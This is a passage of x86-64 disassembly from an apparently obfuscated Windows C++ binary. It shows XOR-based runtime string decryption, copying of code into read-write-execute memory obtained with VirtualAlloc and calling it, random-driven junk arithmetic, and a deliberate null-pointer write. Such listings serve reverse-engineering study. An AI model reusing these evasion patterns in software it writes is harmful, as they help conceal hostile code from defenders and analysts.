cmp r9d, 0x4f
jl 0x1400212e0
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x220]
call fcn.140026200
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.140010560
nop
lea r9, [rsp + 0x80]
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x258]
call fcn.140027950
nop
lea rcx, [rsp + 0x1b0]
call fcn.1400261a0
nop
lea rcx, [rsp + 0x1d0]
call fcn.140024160
lea rdx, [rsp + 0x258]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140027710
lea rdx, [0x140027a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsd xmm0, qword [0x140036f68]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140036f70]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x140036f74]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp edi, 2
jl 0x140021561
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037330]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140036f68]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm4, xmmword [0x1400372d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x140021570
lea rax, [rsp + 0x160]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140021629
mov rdx, rsi
cmp rax, r12
je 0x140021618
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140021600
jmp 0x140021629
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14002170f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140021652
mov r8, rsi
jmp 0x1400216ee
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140021660
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x1400015f0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov r14d, esi
movzx eax, word [0x140036fcc]
mov word [rsp + 0x40], ax
cmp byte [0x140036fcd], 0
je 0x140021764
mov byte [rsp + 0x40], 0x3a
xor byte [rsp + 0x41], 0x53
movzx eax, word [0x140036fcc]
mov word [rsp + 0x80], ax
cmp byte [0x140036fcd], 0
je 0x14002178c
mov byte [rsp + 0x80], 0x3a
xor byte [rsp + 0x81], 0x53
lea r8, [rsp + 0x80]
lea rcx, [rsp + 0xe0]
call fcn.140026d10
nop
lea r8, [0x140043eb0]
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.140026ef0
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rsp + 0x108]
call fcn.140026e80
nop
lea r8, [rsp + 0x258]
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.140026ef0
nop
lea rcx, [rsp + 0x108]
call fcn.1400261a0
nop
lea rcx, [rsp + 0x128]
call fcn.1400261a0
nop
lea rcx, [rsp + 0xe0]
call fcn.1400261a0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.140025220
mov dword [rsp + 0x148], 0xffffff9c
mov dword [rsp + 0x14c], 0x64
movups xmmword [rsp + 0x1d0], xmm9
mov dword [rsp + 0x40], esi
movsd qword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x48]
call fcn.140001660
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.140027000
lea rcx, [rsp + 0x1b0]
call fcn.140002530
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1b0], xmm1
mov qword [rsp + 0x1c0], rsi
lea rcx, [rsp + 0x190]
call fcn.140027020
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x190]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027070
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x190]
call fcn.1400270a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x190]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.1400270d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x190]
call fcn.140027100
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x190]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027130
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x160]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.1400024d0
test al, al
jns 0x140021d7a
cmp esi, 0x186a0
jge 0x140021d73
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov rbx, qword [rsp + 0x1b8]
sub rbx, qword [rsp + 0x1b0]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x1b0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
movaps xmm1, xmm5
call fcn.140002380
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x220]
call fcn.140026200
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x220]
call fcn.1400022f0
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rcx, [rsp + 0x170]
call fcn.1400252f0
nop
lea rax, [rsp + 0x148]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.1400271f0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call fcn.140002400
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.140027250
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov r8d, ebx
mov edx, eax
call fcn.140002500
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
test al, 1
jne 0x140021c91
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140021ca0
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
xor ebx, ebx
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x140021d1b
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140021d3c
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140021cb0
sub rdi, 1
jne 0x140021ca5
lea rcx, [rsp + 0x170]
call fcn.140025290
nop
lea rcx, [rsp + 0x220]
call fcn.1400261a0
inc esi
jmp 0x140021a42
xor esi, esi
jmp 0x140021a20
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x1b0]
call fcn.140025150
mov edi, dword [0x14003f090]
movups xmm0, xmmword [0x140036080]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140036090]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x1400360a0]
movsd qword [rsp + 0xb0], xmm0
movzx eax, word [0x1400360a8]
mov word [rsp + 0xb8], ax
movzx eax, byte [0x1400360aa]
mov byte [rsp + 0xba], al
mov r9d, esi
cmp edi, 2
jl 0x140021f8f
movdqa xmm0, xmmword [0x140037330]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140021e10
cmp r9d, 0x2b
jge 0x140021fef
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2b
jl 0x140021fa0
movsd xmm0, qword [str.9_arpa]
movzx eax, byte [0x140036f60]
movsd qword [rsp + 0x70], xmm0
mov byte [rsp + 0x70], 0x68
xor byte [rsp + 0x71], 0x53
xor byte [rsp + 0x72], 0x55
xor byte [rsp + 0x73], 0x57
xor byte [rsp + 0x74], 0x59
xor byte [rsp + 0x75], 0x5b
xor byte [rsp + 0x76], 0x5d
xor byte [rsp + 0x77], 0x5f
xor al, 0x61
mov byte [rsp + 0x78], al
lea r8, [rsp + 0x258]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x1d0]
call fcn.140027760
nop
lea r8, [rsp + 0x90]
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.140026e80
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.140010560
nop
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.1400117e0
mov rbx, rax
lea rax, [0x140043ed0]
cmp rax, rbx
je 0x14002210e
mov rcx, qword [0x140043ed0]
test rcx, rcx
je 0x1400220e3
mov rdx, qword [0x140043ee0]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400220cc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140022147
mov rcx, r8
call fcn.140031934
xorps xmm0, xmm0
movdqu xmmword [0x140043ed0], xmm0
mov qword [0x140043ee0], rsi
mov rax, qword [rbx]
mov qword [0x140043ed0], rax
mov rax, qword [rbx + 8]
mov qword [0x140043ed8], rax
mov rax, qword [rbx + 0x10]
mov qword [0x140043ee0], rax
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
mov rcx, qword [rsp + 0x170]
test rcx, rcx
je 0x14002216b
mov rdx, qword [rsp + 0x180]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002214e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002214e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140031934
mov qword [rsp + 0x170], rsi
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x180], rsi
lea rcx, [rsp + 0x1b0]
call fcn.1400261a0
nop
lea rcx, [rsp + 0x1d0]
call fcn.1400261a0
mov rdx, qword [0x140043ed8]
sub rdx, qword [0x140043ed0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x140027a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x140043ed8]
sub rax, qword [0x140043ed0]
cmp rax, 5
jae 0x1400221d7
cmp r14d, 0xa
jle 0x140022483
mov qword [0], rsi
movups xmm0, xmmword [0x140036ff0]
movups xmmword [rsp + 0x1b0], xmm0
movsd xmm0, qword [0x140037000]
movsd qword [rsp + 0x1c0], xmm0
mov eax, dword [0x140037008]
mov dword [rsp + 0x1c8], eax
movzx eax, byte [0x14003700c]
mov byte [rsp + 0x1cc], al
mov r9d, esi
cmp edi, 2
jl 0x1400223bf
movdqa xmm0, xmmword [0x140037330]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x1b4]
mov edx, dword [rsp + 0x160]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140022240
cmp r9d, 0x1d
jge 0x14002241f
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1d
jl 0x1400223d0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x14002262b
mov rdx, rsi
cmp rax, r12
je 0x14002261a
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140022464
jmp 0x14002262b
inc r14d
mov dword [rsp + 0x148], 0x2710
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x140027730]
test rax, rax
je 0x1400224f9
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x1400224e8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x1400224d0
jmp 0x1400224f9
mov r8, qword [r15 + rdx*8 + 0x42ba0]
test r8, r8
jne 0x1400225df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022522
mov r8, rsi
jmp 0x1400225be
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022530
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
jmp 0x140021d91
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14002270f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022654
mov r8, rsi
jmp 0x1400226ee
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
